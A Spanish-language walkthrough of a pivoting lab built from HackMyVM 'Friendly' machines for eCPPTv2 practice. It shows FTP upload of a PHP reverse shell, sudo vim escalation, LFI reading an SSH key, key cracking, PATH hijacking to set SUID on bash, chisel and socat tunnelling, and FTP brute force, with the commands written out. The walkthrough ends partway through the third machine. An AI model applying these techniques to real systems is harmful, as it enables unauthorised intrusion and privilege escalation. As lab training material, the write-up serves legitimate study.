Este LAB esta orientado para practicar el pivoting de cara a la certificación "eCPPTv2". Vamos a utilizar la saga de máquinas “Friendly” de la plataforma Hackmyvm. Son máquinas fáciles y muy divertidas creadas por el usuario Rijaba1, os dejo su canal de YouTube y de GitHub por si quereis apoyar sus proyectos.
Las máquinas se descargan en .zip,las descomprimimos y hacemos doble click al .ova de cada máquina para importalas a VirtualBOX.
Dentro de VirtualBOX en tools/networks configuramos las redes necesarias para el LAB.
Ahora vamos a asignar los adaptadores de red necesarios a cada máquina.
En la máquina Friendly activamos dos adaptadores de red con NAT VM y NAT VM1, es importante cambiar el modo promiscuo en todas las máquinas a Allow VMs para poder tener conexión entre las máquinas virtuales.
Máquina Friendly2, red NAT VM1 y 2:
Máquina Friendly3, red NAT VM2:
Network
Esta tabla indica el nombre y cantidad de las interfaces de red a cada máquina.
Máquina
1ª Interface
2ª Interface
KALI
NAT VM
Friendly
NAT VM
NAT VM1
Friendly2
NAT VM1
NAT VM2
Friendly3
NAT VM2
Resources
Recursos para enumerar y pivotar durante el LAB.
NetScan es un script de reconocimiento de hosts y puertos.
Procmon script para ver procesos en segundo plano en tiempo real.
Hacemos un escaneo de Hosts en nuestra red con arp-scan -I eth0 --localnet, la máquina Friendly es la ip 192.168.100.5.
Enumeramos con nmap los puertos abiertos.
Lanzamos una serie de sripts de nmap para descubrir versión y detalles de los servicios encontrados.
Podemos acceder como anonymous sin proporcionar pass, no encontramos nada interesante, pero encontramos algo curioso, el index.html esta en el servicio FTP, podemos suponer que el directorio web está montado en el FTP.
Aplicamos fuzzing a la WEB:
Fuzzing a directorios: gobuster dir -u http://192.168.100.5 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -> Sin éxito.
Fuzzing a subdirectorios: gobuster vhost -u http://192.168.100.5 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -t 200 -> Sin éxito.
La WEB parece estar limpia, vamos a retomar la idea de entrar e intentar subir un archivo al servicio FTP, si realmente es el directorio raiz de la WEB podemos cargar un fichero malicioso y el servidor lo interpretará.
Intrusión
Vamos a crear un test.txt y subirlo a FTP con put.
El servidor interpreta los archivos, vamos a descargar y subir una revshell, yo en este caso voy a subir la típica de PentesMonkey, existen otros recursos en Revshells,etc.
Necesitamos cambiar la IP y PORT donde vamos a recibir la revshell.
Dentro de FTP, realizamos un put r4mnx.phpque es el archivo que contiene la revShell.
Nos ponemos en escucha con nc en la máquina de ataque y lanzamos curl para activar la revshell al recurso r4mnx.php.
www-data
Ganamos acceso como www-data.
Ejecutamos sudo -l y tenemos privilegios sudo del binario vim, vim tiene la característica de poder ejecutar comandos a nivel de sistema dentro de vim.
Ejecutamos sudo vim, y dentro escribimos :! /bin/bash y automáticamente recibimos una Shell como ROOT.
PWNED!
ROOT
Ahora somos root, vamos a preparar la máquina para seguir avanzando en el LAB e ir descubriendo la siguiente máquina.
Vamos a instalar ssh y activarlo para acceder con mayor facilidad:
apt install openssh-server
systemctl enable ssh
systemctl status ssh
Una vez que ssh este habilitado en “Friendly” vamos a crear un fichero en /root/.ssh/authorized_keys para guardar nuestra id_rsa.pub de nuestra máquina de atacante.
./NetScan.sh -p 10.0.2.5 -> Enumeración de puetos abiertos al nuevo host “Friendly2”
Pivoting
Vamos a levantar el servidor de chisel en nuestra máquina y el cliente en “Friendly” para poder alcanzar Friendly2.
1
2
3
4
$>sudo ./chisel server --reverse-p 10000 # Kali: Creamos SERVER CHISEL$> ./chisel client 192.168.100.4:10000 R:10001:socks # Máquina Friendly# IMPORTANTE: modificar el fichero /etc/proxychains.conf -> "strict_chains" & "socks5 127.0.0.1 10001"
Friendly2
Enumeración
Enumeración de puertos con Nmap:
Vamos a realizar Fuzzing con Gobuster a la WEB, en este caso no usaremos proxychains ya que gobuster tiene una flag específica para lanzar bajo un proxy:
Intrusión
Vamos a ver ese directorio WEB /tools, se puede hacer desde un navegador como firefox configurando el addon FoxyProxy por ejemplo o en mi caso me parece más comodo realizar las peticiones bajo proxychainsy curl.
Analizando el código podemos ver que el recurso check_if_exist.php tiene una variable doc esta carga ficheros existentes del servidor WEB. Al cargar ficheros locales del servidor, podemos intentar escapar del directorio raiz del server WEB y cargar ficheros locales de la máquina, si es así estariamos ante un LFI.
sudo proxychains curl "http://10.0.2.5/tools/check_if_exist.php?doc=keyboard.html" -> vemos el recurso keyboard.html.
Vamos a realizar un Path Traversal y llegar a ejecutar un LFI (Local File Inclusión).
Es vulnerable a LFI, encontramos un usuario gh0st en el passwd, vamos a ver otros ficheros sensibles del sistema como la id_rsa del usuario gh0st.
Vamos a copiar la id_rsa en nuestra máquina y asignarle permisos 600 para intentar conectarnos por ssh. Pasos:
echo "contenido id_rsa" > id_rsa -> máquina de atacante.
chmod 600 id_rsa -> en la máquina de atacante.
Nos conectamos por ssh:
Parece que la id_rsa está protegida por contraseña, podemos con ssh2john extraer un hash y con john intentar crackealo:
ssh2john id_rsa > hash -> extraemos el hash
Ahora tenemos la pass "celtic" para poder usar la id_rsa.
gh0st
Accedemos a Friendly2 como gh0st, vamos a hacer export TERM=xterm y export SHELL=bash para tener mas movilidad en la terminal.
Lanzamos sudo -l y vemos que tenemos permisos para lanzar el script como root sin proporcionar contraseña.
SETENV nos permite modificar una variable de entorno durante la ejecución del comando unicamente.
cat /opt/security.sh vemos el codigo del script y ejecuta comandos con ruta relativa.
En conclusión, si podemos ejecutar el script como root sin pass, modificar una variable de entorno y el script no usa rutas absolutas, podemos ejecutar un "PATH Hijacking".
Vamos a crear un archivo malicioso llamado tr, modificaremos la variable PATH y así poder cargar nuestro tr malicioso.
echo "chmod u+s /bin/bash" > tr -> Creamos el fichero tr con un comando para cambiar SUID a la bash.
chmod +x tr -> otorgamos permisos de ejecución a tr.
Ya está todo listo, vamos a ejecutar el siguiente comando para dar permisos SUID a la bash.
bash -p -> lanzamos una bash con máximos privilegios, al ser SUID nos convertiremos en root.
PWNED!
ROOT
Vamos hacer el mismo proceso de la máquina "Friendly", copiamos nuestro id_rsa.pub en el authorized_keys de Friendly2 y subimos todos los archivos de Resources (NetScan.sh, socat y chisel) con scp:
ip a -> en Friendly2 y descubrimos una nueva interface de red por lo tanto otro segmento de red a escanear.
./NetScan.sh -o 192.168.20.0/24 -> Escaneo de hosts.
./NetScan -p 192.168.20.7 -> Escaneo de Ports.
Pivoting
Para alcanzar Friendly3, tenemos que levantar otro cliente de chisel en Friendly2 y con socat redirecionar chisel a nuestra máquina de ataque.
1
2
$> ./socat TCP-LISTEN:10100,fork TCP:192.168.100.4:10000 # Friendly escuchamos por el puerto 10100 y redirecionamos a nuestro Kali al puerto 10000 que es donde está chisel.$> ./chisel client 10.0.2.6:10100 R:10002:socks # Friendly2, lanzamos al socat, en la interfaz más cercana, en este caso a la ip 10.0.2.6.
Debemos modificar /etc/proxychains.conf para añadir socks5 127.0.0.1 10002.
Comentar # sctric_chain y descomentar # dynamic_chain
Añadir en este orden socks5 127.0.0.1 10002
Friendly3
Enumeración
Escaneamos con Nmap:
Lanzamos scripts de reconocimeinto de versión de servicios:
Intrusión
Vemos la WEB, y encontramos un nombre de usuario "juan" y nos indica que se han añadido nuevos recursos al servicio FTP.
La WEB parece limpia, no tenemos acceso a FTP como anonymous , vamos a realizar con hydra fuerza bruta al servicio FTP.
FTP tiene muchos archivos y directorios, vamos a descargarlos en nuestra máquina de forma recursiva para analizarlos mejor.
proxychains -q wget -r ftp://juan:alexis@192.168.20.7 -> Después de analizar todos los archivos, es un RabbitHole.
En este punto parece que no podemos avanzar en la máquina, pero siempre tenemos que contemplar la reutilización de contraseñas.
Vamos a conectarnos por ssh con las credenciales juan:alexis